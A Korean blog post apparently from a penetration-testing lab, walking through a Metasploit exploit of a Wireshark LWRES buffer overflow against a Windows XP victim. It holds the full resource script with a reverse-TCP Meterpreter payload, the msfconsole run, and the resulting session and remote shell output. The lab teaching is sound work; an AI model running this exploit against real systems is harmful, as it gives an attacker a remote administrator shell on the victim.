Linux/모의해킹

Wireshark 취약점을 이용한 자동 공격

GGkeeper 2022. 1. 4. 16:20

실습> wireshark 취약점을 이용한 침투

wireshark의 취약점을 메타스플로잇 안에 공격코드가 들어있다.

1. 패킷 덤프
Victim 윈도우에서 패킷을 덤프 받는다.

2. 공격 패킷 전송
윈도우에서 패킷을 덤프받고 있을 때 공격패킷을 날리면 와이어샤크가 
버퍼오버플로우를 일으켜 죽으면서 미터프리터 쉘이 실행된다.

Attacker# vi wireshark_lwres_getaddrbyname.rc
use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
set payload windows/meterpreter/reverse_tcp
set rhost 192.168.108.105
set lhost 192.168.108.102
set target 4
exploit

Attacker# msfconsole -r wireshark_lwres_getaddrbyname.rc
  :
  :(생략)
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.108.102:4444
[*] Sending malformed LWRES packet every 5 seconds.
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 2 opened (192.168.108.102:4444 -> 192.168.108.105:1101) at 2021-08-09 20:40:10 -0400

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > sessions

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         meterpreter x86/windows  USER1-28E4C7675\Administrator @   192.168.108.102:4444 -> 192.168.
                                     USER1-28E4C7675                   108.105:1101 (192.168.108.105)

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > sessions 1
[*] Starting interaction with 1...


meterpreter > sysinfo
Computer        : USER1-28E4C7675
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 1692 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>exit
exit